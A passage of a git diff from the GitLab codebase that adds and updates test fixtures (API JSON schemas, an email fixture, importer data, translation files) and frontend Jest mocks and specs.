index 00000000000..6268c7ef4d8
--- /dev/null
+++ b/spec/fixtures/api/schemas/group_members.json
@@ -0,0 +1,6 @@
+{
+ "type": "array",
+ "items": {
+ "$ref": "group_member.json"
+ }
+}
diff --git a/spec/fixtures/api/schemas/issue.json b/spec/fixtures/api/schemas/issue.json
index 77de9ae4f9f..84c39ad65e9 100644
--- a/spec/fixtures/api/schemas/issue.json
+++ b/spec/fixtures/api/schemas/issue.json
@@ -12,7 +12,7 @@
"title": { "type": "string" },
"confidential": { "type": "boolean" },
"due_date": { "type": ["date", "null"] },
- "relative_position": { "type": "integer" },
+ "relative_position": { "type": ["integer", "null"] },
"time_estimate": { "type": "integer" },
"issue_sidebar_endpoint": { "type": "string" },
"toggle_subscription_endpoint": { "type": "string" },
diff --git a/spec/fixtures/api/schemas/jira_connect/author.json b/spec/fixtures/api/schemas/jira_connect/author.json
new file mode 100644
index 00000000000..bd2cff96d99
--- /dev/null
+++ b/spec/fixtures/api/schemas/jira_connect/author.json
@@ -0,0 +1,12 @@
+{
+ "type": "object",
+ "properties": {
+ "name": { "type": "string" },
+ "email": { "type": "string" },
+ "username": { "type": "string" },
+ "url": { "type": "uri" },
+ "avatar": { "type": "uri" }
+ },
+ "required": [ "name", "email" ],
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/jira_connect/branch.json b/spec/fixtures/api/schemas/jira_connect/branch.json
new file mode 100644
index 00000000000..c397d88fa91
--- /dev/null
+++ b/spec/fixtures/api/schemas/jira_connect/branch.json
@@ -0,0 +1,19 @@
+{
+ "type": "object",
+ "properties": {
+ "id": { "type": "string" },
+ "issueKeys": { "type": "array" },
+ "name": { "type": "string" },
+ "lastCommit": {
+ "$ref": "./commit.json"
+ },
+ "url": { "type": "uri" },
+ "createPullRequestUrl": { "type": "uri" },
+ "updateSequenceId": { "type": "integer" }
+ },
+ "required": [
+ "id", "issueKeys", "name", "lastCommit",
+ "url", "createPullRequestUrl", "updateSequenceId"
+ ],
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/jira_connect/commit.json b/spec/fixtures/api/schemas/jira_connect/commit.json
new file mode 100644
index 00000000000..794cf9ef365
--- /dev/null
+++ b/spec/fixtures/api/schemas/jira_connect/commit.json
@@ -0,0 +1,29 @@
+{
+ "type": "object",
+ "properties": {
+ "id": { "type": "string" },
+ "issueKeys": { "type": "array" },
+ "hash": { "type": "string" },
+ "displayId": { "type": "string" },
+ "message": { "type": "string" },
+ "flags": { "type": "array" },
+ "author": {
+ "$ref": "./author.json"
+ },
+ "fileCount": { "type": "integer" },
+ "files": {
+ "type": "array",
+ "items": {
+ "$ref": "./file.json"
+ }
+ },
+ "authorTimestamp": { "type": "timestamp" },
+ "url": { "type": "uri" },
+ "updateSequenceId": { "type": "integer" }
+ },
+ "required": [
+ "id", "issueKeys", "hash", "displayId", "message", "flags", "author",
+ "fileCount", "files", "authorTimestamp", "url", "updateSequenceId"
+ ],
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/jira_connect/file.json b/spec/fixtures/api/schemas/jira_connect/file.json
new file mode 100644
index 00000000000..34718991237
--- /dev/null
+++ b/spec/fixtures/api/schemas/jira_connect/file.json
@@ -0,0 +1,14 @@
+{
+ "type": "object",
+ "properties": {
+ "path": { "type": "string" },
+ "changeType": { "type": "string" },
+ "linesAdded": { "type": "integer" },
+ "linesRemoved": { "type": "integer" },
+ "url": { "type": "uri" }
+ },
+ "required": [
+ "path", "changeType", "linesAdded", "linesRemoved", "url"
+ ],
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/jira_connect/pull_request.json b/spec/fixtures/api/schemas/jira_connect/pull_request.json
new file mode 100644
index 00000000000..56ce6faf498
--- /dev/null
+++ b/spec/fixtures/api/schemas/jira_connect/pull_request.json
@@ -0,0 +1,26 @@
+{
+ "type": "object",
+ "properties": {
+ "id": { "type": "string" },
+ "issueKeys": { "type": "array" },
+ "displayId": { "type": "string" },
+ "title": { "type": "string" },
+ "author": {
+ "$ref": "./author.json"
+ },
+ "commentCount": { "type": "integer" },
+ "sourceBranch": { "type": "string" },
+ "destinationBranch": { "type": "string" },
+ "lastUpdate": { "type": "timestamp" },
+ "status": { "type": "string" },
+ "sourceBranchUrl": { "type": "uri" },
+ "url": { "type": "uri" },
+ "updateSequenceId": { "type": "integer" }
+ },
+ "required": [
+ "id", "issueKeys", "displayId", "title", "author", "commentCount",
+ "sourceBranch", "destinationBranch", "lastUpdate", "status",
+ "sourceBranchUrl", "url", "updateSequenceId"
+ ],
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/jira_connect/repository.json b/spec/fixtures/api/schemas/jira_connect/repository.json
new file mode 100644
index 00000000000..9e81d77bc6a
--- /dev/null
+++ b/spec/fixtures/api/schemas/jira_connect/repository.json
@@ -0,0 +1,34 @@
+{
+ "type": "object",
+ "properties": {
+ "id": { "type": "string" },
+ "name": { "type": "string" },
+ "description": { "type": ["string", "null"] },
+ "url": { "type": "uri" },
+ "avatar": { "type": "uri" },
+ "commits": {
+ "type": "array",
+ "items": {
+ "$ref": "./commit.json"
+ }
+ },
+ "branches": {
+ "type": "array",
+ "items": {
+ "$ref": "./branch.json"
+ }
+ },
+ "pullRequests": {
+ "type": "array",
+ "items": {
+ "$ref": "./pull_request.json"
+ }
+ },
+ "updateSequenceId": { "type": "integer" }
+ },
+ "required": [
+ "id", "name", "description", "url", "avatar",
+ "commits", "branches", "pullRequests", "updateSequenceId"
+ ],
+ "additionalProperties": false
+}
diff --git a/spec/fixtures/api/schemas/public_api/v4/issue_link.json b/spec/fixtures/api/schemas/public_api/v4/issue_link.json
new file mode 100644
index 00000000000..000e8485aca
--- /dev/null
+++ b/spec/fixtures/api/schemas/public_api/v4/issue_link.json
@@ -0,0 +1,20 @@
+{
+ "type": "object",
+ "properties" : {
+ "source_issue": {
+ "allOf": [
+ { "$ref": "../../../../../../spec/fixtures/api/schemas/public_api/v4/issue.json" }
+ ]
+ },
+ "target_issue": {
+ "allOf": [
+ { "$ref": "../../../../../../spec/fixtures/api/schemas/public_api/v4/issue.json" }
+ ]
+ },
+ "link_type": {
+ "type": "string",
+ "enum": ["relates_to", "blocks", "is_blocked_by"]
+ }
+ },
+ "required" : [ "source_issue", "target_issue", "link_type" ]
+}
diff --git a/spec/fixtures/api/schemas/public_api/v4/issue_links.json b/spec/fixtures/api/schemas/public_api/v4/issue_links.json
new file mode 100644
index 00000000000..d254615dd58
--- /dev/null
+++ b/spec/fixtures/api/schemas/public_api/v4/issue_links.json
@@ -0,0 +1,9 @@
+{
+ "type": "array",
+ "items": {
+ "type": "object",
+ "properties" : {
+ "$ref": "./issue_link.json"
+ }
+ }
+}
diff --git a/spec/fixtures/api/schemas/public_api/v4/milestone.json b/spec/fixtures/api/schemas/public_api/v4/milestone.json
index 6ca2e88ae91..c8c6a7b6ae1 100644
--- a/spec/fixtures/api/schemas/public_api/v4/milestone.json
+++ b/spec/fixtures/api/schemas/public_api/v4/milestone.json
@@ -12,11 +12,13 @@
"updated_at": { "type": "date" },
"start_date": { "type": "date" },
"due_date": { "type": "date" },
+ "expired": { "type": ["boolean", "null"] },
"web_url": { "type": "string" }
},
"required": [
"id", "iid", "title", "description", "state",
- "state", "created_at", "updated_at", "start_date", "due_date"
+ "state", "created_at", "updated_at", "start_date",
+ "due_date", "expired"
],
"additionalProperties": false
}
diff --git a/spec/fixtures/api/schemas/public_api/v4/milestone_with_stats.json b/spec/fixtures/api/schemas/public_api/v4/milestone_with_stats.json
index e2475545ee9..f008ed7d55f 100644
--- a/spec/fixtures/api/schemas/public_api/v4/milestone_with_stats.json
+++ b/spec/fixtures/api/schemas/public_api/v4/milestone_with_stats.json
@@ -12,6 +12,7 @@
"updated_at": { "type": "date" },
"start_date": { "type": "date" },
"due_date": { "type": "date" },
+ "expired": { "type": ["boolean", "null"] },
"web_url": { "type": "string" },
"issue_stats": {
"required": ["total", "closed"],
@@ -24,7 +25,8 @@
},
"required": [
"id", "iid", "title", "description", "state",
- "state", "created_at", "updated_at", "start_date", "due_date", "issue_stats"
+ "state", "created_at", "updated_at", "start_date",
+ "due_date", "expired", "issue_stats"
],
"additionalProperties": false
}
diff --git a/spec/fixtures/api/schemas/public_api/v4/packages/collection_package.json b/spec/fixtures/api/schemas/public_api/v4/packages/collection_package.json
new file mode 100644
index 00000000000..109b0e59635
--- /dev/null
+++ b/spec/fixtures/api/schemas/public_api/v4/packages/collection_package.json
@@ -0,0 +1,34 @@
+{
+ "type": "object",
+ "required": [
+ "name",
+ "version",
+ "package_type",
+ "_links"
+ ],
+ "properties": {
+ "name": {
+ "type": "string"
+ },
+ "version": {
+ "type": "string"
+ },
+ "package_type": {
+ "type": "string"
+ },
+ "_links": {
+ "type": "object",
+ "required": [
+ "web_path"
+ ],
+ "properties": {
+ "details": {
+ "type": "string"
+ }
+ }
+ },
+ "created_at": {
+ "type": "string"
+ }
+ }
+} \ No newline at end of file
diff --git a/spec/fixtures/api/schemas/public_api/v4/packages/packages.json b/spec/fixtures/api/schemas/public_api/v4/packages/packages.json
index 66364da4fdb..a03a49db4f9 100644
--- a/spec/fixtures/api/schemas/public_api/v4/packages/packages.json
+++ b/spec/fixtures/api/schemas/public_api/v4/packages/packages.json
@@ -1,4 +1,4 @@
{
"type": "array",
- "items": { "$ref": "./package.json" }
+ "items": { "$ref": "./collection_package.json" }
}
diff --git a/spec/fixtures/emails/x_envelope_to_header.eml b/spec/fixtures/emails/x_envelope_to_header.eml
new file mode 100644
index 00000000000..28e3d71535a
--- /dev/null
+++ b/spec/fixtures/emails/x_envelope_to_header.eml
@@ -0,0 +1,32 @@
+Return-Path: <jake@example.com>
+Received: from myserver.example.com ([unix socket]) by myserver (Cyrus v2.2.13-Debian-2.2.13-19+squeeze3) with LMTPA; Thu, 13 Jun 2013 17:03:50 -0400
+Received: from mail.example.com (mail.example.com [IPv6:2607:f8b0:4001:c03::234]) by myserver.example.com (8.14.3/8.14.3/Debian-9.4) with ESMTP id r5DL3nFJ016967 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for <incoming+gitlabhq/gitlabhq@example.com>; Thu, 13 Jun 2013 17:03:50 -0400
+Received: by myserver.example.com with SMTP id f4so21977375iea.25 for <incoming+gitlabhq/gitlabhq@appmail.example.com>; Thu, 13 Jun 2013 14:03:48 -0700
+Received: by 10.0.0.1 with HTTP; Thu, 13 Jun 2013 14:03:48 -0700
+From: "jake@example.com" <jake@example.com>
+To: "support@example.com" <support@example.com>
+Subject: Insert hilarious subject line here
+Date: Tue, 26 Nov 2019 14:22:41 +0000
+Message-ID: <7e2296f83dbf4de388cbf5f56f52c11f@EXDAG29-1.EXCHANGE.INT>
+Accept-Language: de-DE, en-US
+Content-Language: de-DE
+X-MS-Has-Attach:
+X-MS-TNEF-Correlator:
+x-ms-exchange-transport-fromentityheader: Hosted
+x-originating-ip: [62.96.54.178]
+Content-Type: multipart/alternative;
+ boundary="_000_7e2296f83dbf4de388cbf5f56f52c11fEXDAG291EXCHANGEINT_"
+MIME-Version: 1.0
+X-Envelope-To: incoming+gitlabhq/gitlabhq+auth_token@appmail.example.com
+
+--_000_7e2296f83dbf4de388cbf5f56f52c11fEXDAG291EXCHANGEINT_
+Content-Type: text/plain; charset="iso-8859-1"
+Content-Transfer-Encoding: quoted-printable
+
+
+
+--_000_7e2296f83dbf4de388cbf5f56f52c11fEXDAG291EXCHANGEINT_
+Content-Type: text/html; charset="iso-8859-1"
+Content-Transfer-Encoding: quoted-printable
+
+Look, a message with some alternate headers! We should really support them.
diff --git a/spec/fixtures/gitlab/database/structure_example_cleaned.sql b/spec/fixtures/gitlab/database/structure_example_cleaned.sql
index 42eed974e64..dc112da7037 100644
--- a/spec/fixtures/gitlab/database/structure_example_cleaned.sql
+++ b/spec/fixtures/gitlab/database/structure_example_cleaned.sql
@@ -1,8 +1,6 @@
-SET search_path=public;
+CREATE EXTENSION IF NOT EXISTS pg_trgm;
-CREATE EXTENSION IF NOT EXISTS pg_trgm WITH SCHEMA public;
-
-CREATE TABLE public.abuse_reports (
+CREATE TABLE abuse_reports (
id integer NOT NULL,
reporter_id integer,
user_id integer,
@@ -13,20 +11,18 @@ CREATE TABLE public.abuse_reports (
cached_markdown_version integer
);
-CREATE SEQUENCE public.abuse_reports_id_seq
+CREATE SEQUENCE abuse_reports_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER TABLE ONLY public.abuse_reports ALTER COLUMN id SET DEFAULT nextval('public.abuse_reports_id_seq'::regclass);
+ALTER TABLE ONLY abuse_reports ALTER COLUMN id SET DEFAULT nextval('abuse_reports_id_seq'::regclass);
-ALTER TABLE ONLY public.abuse_reports
+ALTER TABLE ONLY abuse_reports
ADD CONSTRAINT abuse_reports_pkey PRIMARY KEY (id);
-CREATE INDEX index_abuse_reports_on_user_id ON public.abuse_reports USING btree (user_id);
-
--- schema_migrations.version information is no longer stored in this file,
+CREATE INDEX index_abuse_reports_on_user_id ON abuse_reports USING btree (user_id);-- schema_migrations.version information is no longer stored in this file,
-- but instead tracked in the db/schema_migrations directory
-- see https://gitlab.com/gitlab-org/gitlab/-/issues/218590 for details
diff --git a/spec/fixtures/importers/bitbucket_server/activities.json b/spec/fixtures/importers/bitbucket_server/activities.json
index 09adfca9f31..ddcb94b8f58 100644
--- a/spec/fixtures/importers/bitbucket_server/activities.json
+++ b/spec/fixtures/importers/bitbucket_server/activities.json
@@ -20,7 +20,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [
@@ -38,7 +39,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [
@@ -56,7 +58,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [],
@@ -85,7 +88,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"createdDate": 1530164016725,
@@ -115,7 +119,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"createdDate": 1530164026000,
@@ -147,7 +152,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [],
@@ -194,7 +200,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [],
@@ -363,7 +370,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
}
},
@@ -383,7 +391,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [],
@@ -543,7 +552,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
}
},
@@ -563,7 +573,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [
@@ -581,7 +592,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [
@@ -599,7 +611,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [],
@@ -789,7 +802,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
}
},
@@ -809,7 +823,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [],
@@ -843,7 +858,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
}
},
@@ -863,7 +879,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"authorTimestamp": 1529727872000,
@@ -880,7 +897,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"committerTimestamp": 1529727872000,
@@ -951,7 +969,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
}
},
@@ -971,7 +990,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [
@@ -989,7 +1009,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [],
@@ -1038,7 +1059,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
}
},
@@ -1058,7 +1080,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
},
"comments": [],
@@ -1092,7 +1115,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
}
},
@@ -1113,7 +1137,8 @@
]
},
"name": "root",
- "slug": "root",
+ "slug": "slug",
+ "username": "username",
"type": "NORMAL"
}
}
diff --git a/spec/fixtures/importers/bitbucket_server/pull_request.json b/spec/fixtures/importers/bitbucket_server/pull_request.json
index 6c7fcf3b04c..77f7eb330f5 100644
--- a/spec/fixtures/importers/bitbucket_server/pull_request.json
+++ b/spec/fixtures/importers/bitbucket_server/pull_request.json
@@ -5,8 +5,9 @@
"status":"UNAPPROVED",
"user":{
"active":true,
- "displayName":"root",
+ "displayName":"displayName",
"emailAddress":"joe.montana@49ers.com",
+ "username": "username",
"id":1,
"links":{
"self":[
@@ -16,7 +17,7 @@
]
},
"name":"root",
- "slug":"root",
+ "slug":"slug",
"type":"NORMAL"
}
},
diff --git a/spec/fixtures/lib/gitlab/metrics/dashboard/broken_yml_syntax.yml b/spec/fixtures/lib/gitlab/metrics/dashboard/broken_yml_syntax.yml
new file mode 100644
index 00000000000..d551ad2dcdb
--- /dev/null
+++ b/spec/fixtures/lib/gitlab/metrics/dashboard/broken_yml_syntax.yml
@@ -0,0 +1,13 @@
+dashboard: 'Test Dashboard'
+ panel_groups:
+ - group: Group B
+ panels:
+ - title: "Super Chart B"
+ type: "area-chart"
+ y_label: "y_label"
+ metrics:
+ - id: metric_b
+ query_range: 'query'
+ unit: unit
+ label: Legend Label
+- group: Group A
diff --git a/spec/fixtures/markdown.md.erb b/spec/fixtures/markdown.md.erb
index 59795c835a2..aff4b1aae23 100644
--- a/spec/fixtures/markdown.md.erb
+++ b/spec/fixtures/markdown.md.erb
@@ -245,6 +245,15 @@ References should be parseable even inside _<%= merge_request.to_reference %>_ e
- Group milestone by name in quotes: <%= group_milestone.to_reference(format: :name) %>
- Group milestone by URL is ignore: <%= urls.milestone_url(group_milestone) %>
+##### AlertReferenceFilter
+- Alert: <%= alert.to_reference %>
+- Alert in another project: <%= xalert.to_reference(project) %>
+- Ignored in code: `<%= alert.to_reference %>`
+- Ignored in links: [Link to <%= alert.to_reference %>](#alert-link)
+- Alert by URL: <%= alert.details_url %>
+- Link to alert by reference: [Alert](<%= alert.to_reference %>)
+- Link to alert by URL: [Alert](<%= alert.details_url %>)
+
### Task Lists
- [ ] Incomplete task 1
diff --git a/spec/fixtures/pipeline_artifacts/code_coverage_with_multiple_files.json b/spec/fixtures/pipeline_artifacts/code_coverage_with_multiple_files.json
new file mode 100644
index 00000000000..160413d73da
--- /dev/null
+++ b/spec/fixtures/pipeline_artifacts/code_coverage_with_multiple_files.json
@@ -0,0 +1,14 @@
+{
+ "files": {
+ "file_a.rb": {
+ "1": 1,
+ "2": 1,
+ "3": 1
+ },
+ "file_b.rb": {
+ "1": 0,
+ "2": 0,
+ "3": 0
+ }
+ }
+}
diff --git a/spec/fixtures/unescaped_chars.po b/spec/fixtures/unescaped_chars.po
index fbafe523fb3..3527c3e0888 100644
--- a/spec/fixtures/unescaped_chars.po
+++ b/spec/fixtures/unescaped_chars.po
@@ -7,15 +7,15 @@ msgid ""
msgstr ""
"Project-Id-Version: gitlab 1.0.0\n"
"Report-Msgid-Bugs-To: \n"
-"PO-Revision-Date: 2017-07-13 12:10-0500\n"
+"PO-Revision-Date: 2020-09-02 06:14+0000\n"
"Language-Team: Spanish\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"Last-Translator: Bob Van Landuyt <bob@gitlab.com>\n"
+"Last-Translator: Takuya Noguchi <takninnovationresearch@gmail.com>\n"
"X-Generator: Poedit 2.0.2\n"
-msgid "You are going to transfer %{project_name_with_namespace} to another owner. Are you ABSOLUTELY sure?"
-msgstr "å°‡è¦æŠŠ %{project_name_with_namespace} 的所有權轉移給å¦ä¸€å€‹äººã€‚真的「100%確定ã€è¦é€™éº¼åšå—Žï¼Ÿ"
+msgid "You are going to transfer %{project_name_with_namespace} to another namespace. Are you ABSOLUTELY sure?"
+msgstr "å°‡è¦æŠŠ %{project_name_with_namespace} 的所有權轉移給å¦ä¸€ä¸ªå称空间。真的「100%確定ã€è¦é€™éº¼åšå—Žï¼Ÿ"
diff --git a/spec/fixtures/valid.po b/spec/fixtures/valid.po
index f1d62296709..c9b68d16153 100644
--- a/spec/fixtures/valid.po
+++ b/spec/fixtures/valid.po
@@ -1071,7 +1071,7 @@ msgstr "Va a eliminar %{project_name_with_namespace}. ¡El proyecto eliminado NO
msgid "You are going to remove the fork relationship to source project %{forked_from_project}. Are you ABSOLUTELY sure?"
msgstr "Vas a eliminar el enlace de la bifurcación con el proyecto original %{forked_from_project}. ¿Estás TOTALMENTE seguro?"
-msgid "You are going to transfer %{project_name_with_namespace} to another owner. Are you ABSOLUTELY sure?"
+msgid "You are going to transfer %{project_name_with_namespace} to another namespace. Are you ABSOLUTELY sure?"
msgstr "Vas a transferir %{project_name_with_namespace} a otro propietario. ¿Estás TOTALMENTE seguro?"
msgid "You can only add files when you are on a branch"
diff --git a/spec/fixtures/whats_new/01.yml b/spec/fixtures/whats_new/01.yml
new file mode 100644
index 00000000000..06db95be44f
--- /dev/null
+++ b/spec/fixtures/whats_new/01.yml
@@ -0,0 +1,2 @@
+---
+- title: It's gonna be a bright
diff --git a/spec/fixtures/whats_new/02.yml b/spec/fixtures/whats_new/02.yml
new file mode 100644
index 00000000000..91b0bd7036e
--- /dev/null
+++ b/spec/fixtures/whats_new/02.yml
@@ -0,0 +1,2 @@
+---
+- title: bright
diff --git a/spec/fixtures/whats_new/05.yml b/spec/fixtures/whats_new/05.yml
new file mode 100644
index 00000000000..5b8939a2bc6
--- /dev/null
+++ b/spec/fixtures/whats_new/05.yml
@@ -0,0 +1,2 @@
+---
+- title: bright and sunshinin' day
diff --git a/spec/frontend/__mocks__/@gitlab/ui.js b/spec/frontend/__mocks__/@gitlab/ui.js
index ea36f1dabaf..237f8b408f5 100644
--- a/spec/frontend/__mocks__/@gitlab/ui.js
+++ b/spec/frontend/__mocks__/@gitlab/ui.js
@@ -18,8 +18,16 @@ jest.mock('@gitlab/ui/dist/directives/tooltip.js', () => ({
}));
jest.mock('@gitlab/ui/dist/components/base/tooltip/tooltip.js', () => ({
+ props: ['target', 'id', 'triggers', 'placement', 'container', 'boundary', 'disabled'],
render(h) {
- return h('div', this.$attrs, this.$slots.default);
+ return h(
+ 'div',
+ {
+ class: 'gl-tooltip',
+ ...this.$attrs,
+ },
+ this.$slots.default,
+ );
},
}));
diff --git a/spec/frontend/__mocks__/lodash/debounce.js b/spec/frontend/__mocks__/lodash/debounce.js
index 97fdb39097a..e8b61c80147 100644
--- a/spec/frontend/__mocks__/lodash/debounce.js
+++ b/spec/frontend/__mocks__/lodash/debounce.js
@@ -8,4 +8,15 @@
// [2]: https://gitlab.com/gitlab-org/gitlab/-/issues/213378
// Further reference: https://github.com/facebook/jest/issues/3465
-export default fn => fn;
+export default fn => {
+ const debouncedFn = jest.fn().mockImplementation(fn);
+ debouncedFn.cancel = jest.fn();
+ debouncedFn.flush = jest.fn().mockImplementation(() => {
+ const errorMessage =
+ "The .flush() method returned by lodash.debounce is not yet implemented/mocked by the mock in 'spec/frontend/__mocks__/lodash/debounce.js'.";
+
+ throw new Error(errorMessage);
+ });
+
+ return debouncedFn;
+};
diff --git a/spec/frontend/add_context_commits_modal/components/add_context_commits_modal_spec.js b/spec/frontend/add_context_commits_modal/components/add_context_commits_modal_spec.js
index 6904e34db5d..1a3b151afa0 100644
--- a/spec/frontend/add_context_commits_modal/components/add_context_commits_modal_spec.js
+++ b/spec/frontend/add_context_commits_modal/components/add_context_commits_modal_spec.js
@@ -78,7 +78,7 @@ describe('AddContextCommitsModal', () => {
findSearch().vm.$emit('input', searchText);
expect(searchCommits).not.toBeCalled();
jest.advanceTimersByTime(500);
- expect(searchCommits).toHaveBeenCalledWith(expect.anything(), searchText, undefined);
+ expect(searchCommits).toHaveBeenCalledWith(expect.anything(), searchText);
});
it('disabled ok button when no row is selected', () => {
@@ -119,18 +119,17 @@ describe('AddContextCommitsModal', () => {
wrapper.vm.$store.state.selectedCommits = [{ ...commit, isSelected: true }];
findModal().vm.$emit('ok');
return wrapper.vm.$nextTick().then(() => {
- expect(createContextCommits).toHaveBeenCalledWith(
- expect.anything(),
- { commits: [{ ...commit, isSelected: true }], forceReload: true },
- undefined,
- );
+ expect(createContextCommits).toHaveBeenCalledWith(expect.anything(), {
+ commits: [{ ...commit, isSelected: true }],
+ forceReload: true,
+ });
});
});
it('"removeContextCommits" when only added commits are to be removed ', () => {
wrapper.vm.$store.state.toRemoveCommits = [commit.short_id];
findModal().vm.$emit('ok');
return wrapper.vm.$nextTick().then(() => {
- expect(removeContextCommits).toHaveBeenCalledWith(expect.anything(), true, undefined);
+ expect(removeContextCommits).toHaveBeenCalledWith(expect.anything(), true);
});
});
it('"createContextCommits" and "removeContextCommits" when new commits are to be added and old commits are to be removed', () => {
@@ -138,12 +137,10 @@ describe('AddContextCommitsModal', () => {
wrapper.vm.$store.state.toRemoveCommits = [commit.short_id];
findModal().vm.$emit('ok');
return wrapper.vm.$nextTick().then(() => {
- expect(createContextCommits).toHaveBeenCalledWith(
- expect.anything(),
- { commits: [{ ...commit, isSelected: true }] },
- undefined,
- );
- expect(removeContextCommits).toHaveBeenCalledWith(expect.anything(), undefined, undefined);
+ expect(createContextCommits).toHaveBeenCalledWith(expect.anything(), {
+ commits: [{ ...commit, isSelected: true }],
+ });
+ expect(removeContextCommits).toHaveBeenCalledWith(expect.anything(), undefined);
});
});
});
@@ -156,7 +153,7 @@ describe('AddContextCommitsModal', () => {
});
it('"resetModalState" to reset all the modal state', () => {
findModal().vm.$emit('cancel');
- expect(resetModalState).toHaveBeenCalledWith(expect.anything(), undefined, undefined);
+ expect(resetModalState).toHaveBeenCalledWith(expect.anything(), undefined);
});
});
@@ -168,7 +165,7 @@ describe('AddContextCommitsModal', () => {
});
it('"resetModalState" to reset all the modal state', () => {
findModal().vm.$emit('close');
- expect(resetModalState).toHaveBeenCalledWith(expect.anything(), undefined, undefined);
+ expect(resetModalState).toHaveBeenCalledWith(expect.anything(), undefined);
});
});
});
diff --git a/spec/frontend/ajax_loading_spinner_spec.js b/spec/frontend/ajax_loading_spinner_spec.js
deleted file mode 100644
index 8ed2ee49ff8..00000000000
--- a/spec/frontend/ajax_loading_spinner_spec.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import $ from 'jquery';
-import AjaxLoadingSpinner from '~/ajax_loading_spinner';
-
-describe('Ajax Loading Spinner', () => {
- const fixtureTemplate = 'static/ajax_loading_spinner.html';
- preloadFixtures(fixtureTemplate);
-
- beforeEach(() => {
- loadFixtures(fixtureTemplate);
- AjaxLoadingSpinner.init();
- });
-
- it('change current icon with spinner icon and disable link while waiting ajax response', done => {
- jest.spyOn($, 'ajax').mockImplementation(req => {
- const xhr = new XMLHttpRequest();
- const ajaxLoadingSpinner = document.querySelector('.js-ajax-loading-spinner');
- const icon = ajaxLoadingSpinner.querySelector('i');
-
- req.beforeSend(xhr, { dataType: 'text/html' });
-
- expect(icon).not.toHaveClass('fa-trash-o');
- expect(icon).toHaveClass('fa-spinner');
- expect(icon).toHaveClass('fa-spin');
- expect(icon.dataset.icon).toEqual('fa-trash-o');
- expect(ajaxLoadingSpinner.getAttribute('disabled')).toEqual('');
-
- req.complete({});
-
- done();
- const deferred = $.Deferred();
- return deferred.promise();
- });
- document.querySelector('.js-ajax-loading-spinner').click();
- });
-
- it('use original icon again and enabled the link after complete the ajax request', done => {
- jest.spyOn($, 'ajax').mockImplementation(req => {
- const xhr = new XMLHttpRequest();
- const ajaxLoadingSpinner = document.querySelector('.js-ajax-loading-spinner');
-
- req.beforeSend(xhr, { dataType: 'text/html' });
- req.complete({});
-
- const icon = ajaxLoadingSpinner.querySelector('i');
-
- expect(icon).toHaveClass('fa-trash-o');
- expect(icon).not.toHaveClass('fa-spinner');
- expect(icon).not.toHaveClass('fa-spin');
- expect(ajaxLoadingSpinner.getAttribute('disabled')).toEqual(null);
-
- done();
- const deferred = $.Deferred();
- return deferred.promise();
- });
- document.querySelector('.js-ajax-loading-spinner').click();
- });
-});
diff --git a/spec/frontend/alert_handler_spec.js b/spec/frontend/alert_handler_spec.js
new file mode 100644
index 00000000000..ba2f4f24aa5
--- /dev/null
+++ b/spec/frontend/alert_handler_spec.js
@@ -0,0 +1,46 @@
+import { setHTMLFixture } from 'helpers/fixtures';
+import initAlertHandler from '~/alert_handler';
+
+describe('Alert Handler', () => {
